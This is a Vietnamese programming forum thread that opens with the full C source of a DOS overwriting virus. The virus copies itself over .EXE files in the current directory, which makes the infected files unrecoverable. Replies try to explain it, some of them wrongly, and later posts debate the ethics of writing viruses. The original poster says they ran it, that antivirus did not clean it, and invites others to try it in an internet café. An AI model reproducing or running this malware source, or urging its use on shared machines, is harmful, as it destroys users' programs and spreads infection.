Trang 1 trên tổng số 2 12 Cuối cùngCuối cùng
Từ 1 tới 10 trên tổng số 16 kết quả

Đề tài: Code virut viết bằng C, tác dụng của nó như thế nào?

  1. #1
    Ngày gia nhập
    02 2008
    Bài viết
    1,009

    Mặc định Code virut viết bằng C, tác dụng của nó như thế nào?

    C Code:
    1. /*
    2.    This is a pretty lame program, I would not advise running it on yourself
    3.    though.  It will merely overwrite found files with itself, thus replicating.
    4.    It is for educational purposes only.  Careful, since it overwrites, it is
    5.    destructive.  Infecte files cannot be recovered.  I could save time/date
    6.    stamps, etc. but this was just for fun, and took me only a few mintes to
    7.    throw together.  
    8.      The Crypt Keeper/RRG
    9.      (619)/457-1836: The Programmer's Paradise
    10.    Oh yeah, use the tiny memory model, and make it a .COM file.
    11. */
    12.  
    13. #include <dos.h>
    14. #include <dir.h>
    15. #include <stdio.h>
    16.  
    17. #define V_SIZE 7424
    18.  
    19. int n_inf=0;
    20.  
    21. void resume(void);
    22. void inf(char *vir, char *filename);
    23. int  compare(char *d, char *e);
    24.  
    25. void main(int argc, char **argv)
    26. {
    27.   struct ffblk fileinfo;
    28.   char vir[V_SIZE];
    29.   FILE *fp;
    30.   char path[6];
    31.   int b,a=0;
    32.  
    33.   argc++;
    34.  
    35.   if((fp=fopen(argv[0],"rb"))==NULL) resume();
    36.   fread(vir,sizeof(char),V_SIZE,fp);
    37.   fclose(fp);
    38.  
    39.   path[0]='*';
    40.   path[1]='.';
    41.   path[2]='E';
    42.   path[3]='X';
    43.   path[4]='E';
    44.   path[5]=NULL;
    45.  
    46.   if(findfirst(path,&fileinfo,FA_ARCH)==-1) resume();
    47.   inf(vir,fileinfo.ff_name);
    48.   do {
    49.     if(findnext(&fileinfo)!=0) a=1;
    50.     else inf(vir,fileinfo.ff_name);
    51.     if((a==1) || (n_inf>4)) b=1;
    52.   } while (b!=1);
    53.   resume();
    54. }
    55.  
    56. void inf(char *vir, char *filename)
    57. {
    58.   FILE *fp;
    59.   char checkinf[V_SIZE];
    60.  
    61.   if((fp=fopen(filename,"rb+"))==NULL) resume();
    62.   fread(checkinf,sizeof(char),V_SIZE,fp);
    63.   if(compare(vir,checkinf)==0) return;
    64.   fseek(fp,0L,SEEK_SET);
    65.   fwrite(vir,sizeof(char),V_SIZE,fp);
    66.   fclose(fp);
    67.   n_inf++;
    68. }
    69.  
    70. int compare(char *d, char *e)
    71. {
    72.   int a;
    73.  
    74.   for(a=0;a<V_SIZE;a++) if(d[a]!=e[a]) return(1);
    75.   return(0);
    76. }
    77.  
    78. void resume(void)
    79. {
    80.   exit(0);
    81. }

    đây là đoạn code của 1 con virut em tìm được trên mạng...anh có thể trả lời cho em con này có tác dụng gì không ạ...nó có thể làm gì với máy tính của mình...và tại sao hàm main lại có tham số như thế kia...con virut này có thể tự nhân bản chính nó được không...và đoạn code con nào làm nhiệm vụ ấy...cảm ơn anh

  2. #2
    Ngày gia nhập
    01 2008
    Nơi ở
    UIT
    Bài viết
    129

    Không biết đoạn code đó làm những gì nên không dám chạy Nhưng xem qua code thì thấy hình như việc của nó là ghi đè file. Còn cái tham số của main(int argv, char **argc) là để truyền vào qua command line. Còn cái vụ nhân bản chính nó thì chắc có lẽ là ko roài, vì sơ qua thì không thấy tham chiếu nào tới main() cả !?

  3. #3
    Ngày gia nhập
    03 2008
    Bài viết
    57

    mình thấy đoạn code này đầu tiên là nó mở chính cái chương trình đó . vì argv[0] chính là path của chương trình đang chạy. rồi đọc dữ liệu ( byte dữ liệu ) của chính cái *.exe rồi làm cái gì đó ? rồi ghi cái gì đó lên chính cái file đó ..... rồi mình không dám thử . mặc dù có máy ảo. hehe.
    mình đã từng xém cháy máy chỉ vì vô tình tạo một ct cho nó gọi lại chính nó . kết quả là ct tự gọi chính nó và chạy hàng trăm tiến trình cùng một lúc không thể tắt hết kể cả task cũng bó tay. làm mình phải tắt nóng. May mà chưa tạo autorun .

  4. #4
    Ngày gia nhập
    02 2008
    Bài viết
    1,009

    híc...em thử rồi...con này khủng quá mấy bố ơi...BK chưa diệt được...theo như anh XCROSS thì con này sẽ biến những file exe thành chính nó và lây lan...hú hồn...hihiih...anh em ra tiệm xài thử coi

  5. #5
    Ngày gia nhập
    03 2008
    Bài viết
    57

    Nó khủng thế ư. Chắc phải viết thử bằng API rồi quăng vô máy ảo test thử con này chơi mới được (+.+)

  6. #6
    Ngày gia nhập
    10 2007
    Nơi ở
    /root
    Bài viết
    318

    Mặc định Code virut viết bằng C, tác dụng của nó như thế nào?

    Trích dẫn Nguyên bản được gửi bởi thanhluan07 Xem bài viết
    mình đã từng xém cháy máy chỉ vì vô tình tạo một ct cho nó gọi lại chính nó . kết quả là ct tự gọi chính nó và chạy hàng trăm tiến trình cùng một lúc không thể tắt hết kể cả task cũng bó tay. làm mình phải tắt nóng. May mà chưa tạo autorun .
    .

    Cậu có phá phần mềm kiểu gì thì phá cũng không làm cháy phần cứng được .Đừng nói quá lên thế !

  7. #7
    Ngày gia nhập
    10 2007
    Bài viết
    169

    - Ko biết sao nhiều người thích viết virus vậy ko biết! Viết ra để làm gì, cho ai sài (chắc cưởng ép các nạng nhân phải sài quá T_T), liệu những thứ ấy sau này có giúp chúng ta "sống sót" được ko ???! Cái nguy hiểm hơn là viết bậy rồi phát tán tùm lum là có thể "đi tù" như chơi! Tại sao ko chứng tỏ tài năng của chúng ta bằng cách làm những gì có ích cho xã hội ấy! Bạn viết ra rồi có dám "vỗ ngực xưng tên" là do bạn viết ko, hay chỉ là một cái nickname để lại...!
    - Vài ý kiến (lẩn bức xúc) của mình, ai lở dính vô rồi thì nên rút lui, đừng để sau này phải ngồi than thân trách phận : "Tại sau mình là một thiên tài, một thời oanh liệt mà lại phải khổ sở kiếm sống thế này...!"

  8. #8
    Ngày gia nhập
    02 2008
    Bài viết
    1,009

    - Ko biết sao nhiều người thích viết virus vậy ko biết! Viết ra để làm gì, cho ai sài (chắc cưởng ép các nạng nhân phải sài quá T_T), liệu những thứ ấy sau này có giúp chúng ta "sống sót" được ko ???! Cái nguy hiểm hơn là viết bậy rồi phát tán tùm lum là có thể "đi tù" như chơi! Tại sao ko chứng tỏ tài năng của chúng ta bằng cách làm những gì có ích cho xã hội ấy! Bạn viết ra rồi có dám "vỗ ngực xưng tên" là do bạn viết ko, hay chỉ là một cái nickname để lại...!
    - Vài ý kiến (lẩn bức xúc) của mình, ai lở dính vô rồi thì nên rút lui, đừng để sau này phải ngồi than thân trách phận : "Tại sau mình là một thiên tài, một thời oanh liệt mà lại phải khổ sở kiếm sống thế này...!"
    híc...chỉ là đưa code virut đơn giản lên cho mọi người cùng thảo luận và học hỏi kinh nhiệm tý thôi mà bạn...xem trọng hóa vấn đề này quá

  9. #9
    Ngày gia nhập
    01 2008
    Nơi ở
    UIT
    Bài viết
    129

    Học hỏi thôi mà bác, có gì mà phải làm quá như vậy ? Nói như bác thì người ta vẫn nuôi vi trùng, virus lao, AIDS, dịch hạch ... trong phòng thí nghiệm để làm gì ? Là để nghiên cứu tìm ra các loại thuốc để chữa trị đấy bác ạ ! Có những người viết virus cũng vì mục đích như vậy, chỉ là nghiên cứu thôi nhưng cũng có những người lại viết vì mục đích xấu. Còn em, em thấy mã nguồn của virus là những thứ rất hay, nó đúc kết những cái hay nhất của lập trình C/C++ như con trỏ, tự tham chiếu ...

  10. #10
    Ngày gia nhập
    10 2007
    Bài viết
    169

    - Các bạn thử nghĩ xem có bao nhiêu người viết virus để...nghiên cứu! Mà nếu có để nghiên cứu thì cần gì phải viết virus! Nếu các kiến thức đó có thể dùng được trong các ứng dụng có ích khác thì tại sao ko viết những ứng dụng đó mà lại viết virus ???! Mình đang nói đến những người trực tiếp viết ra virus và đem đi phát tán kìa, nếu bạn chỉ xem thôi thì mình chẳng nói làm gì! Nhưng có bao nhiêu người viết ra virus chỉ để tự mình ngắm nó đâu, phải cho người khác xem với chứ...!
    - Mình chỉ nói để cho ai định đi theo con đường đó thì nên thay đổi sẻ tốt hơn!
    - Có thể các bạn đang nghĩ rằng mình quan trọng hóa vấn đề, nhưng cái gì cũng có khởi đầu của nó, và có thể khởi đầu sự nghiệp viết virus của một phần trong mấy ngàn thành viên dd này bắt nguồn từ đây...!!!

Các đề tài tương tự

  1. Viết shell code nhưng không thành công, làm thế nào?
    Gửi bởi prefix trong diễn đàn Thắc mắc lập trình C/C++/C++0x
    Trả lời: 1
    Bài viết cuối: 14-02-2012, 04:22 PM
  2. Code lấy thông tin bị avira báo có virut
    Gửi bởi xiu_coi trong diễn đàn Thắc mắc lập trình C#
    Trả lời: 3
    Bài viết cuối: 18-06-2011, 06:38 PM
  3. Algorithm Viết code thời khóa biểu viết trên Window Form C# như thế nào?
    Gửi bởi hocphp_1998 trong diễn đàn Thắc mắc lập trình C#
    Trả lời: 10
    Bài viết cuối: 12-04-2011, 11:10 PM
  4. Viết code trên Form và viết code trong class có gì khác nhau.
    Gửi bởi hocCsharp trong diễn đàn Thắc mắc lập trình C#
    Trả lời: 21
    Bài viết cuối: 21-01-2011, 10:37 PM
  5. Viết code cho tep rc như thế nào?
    Gửi bởi duongthanh96 trong diễn đàn Thắc mắc Microsoft SQL Server & Microsoft Access
    Trả lời: 2
    Bài viết cuối: 24-09-2009, 12:26 PM

Quyền hạn của bạn

  • Bạn không thể gửi đề tài mới
  • Bạn không thể gửi bài trả lời
  • Bạn không thể gửi các đính kèm
  • Bạn không thể chỉnh sửa bài viết của bạn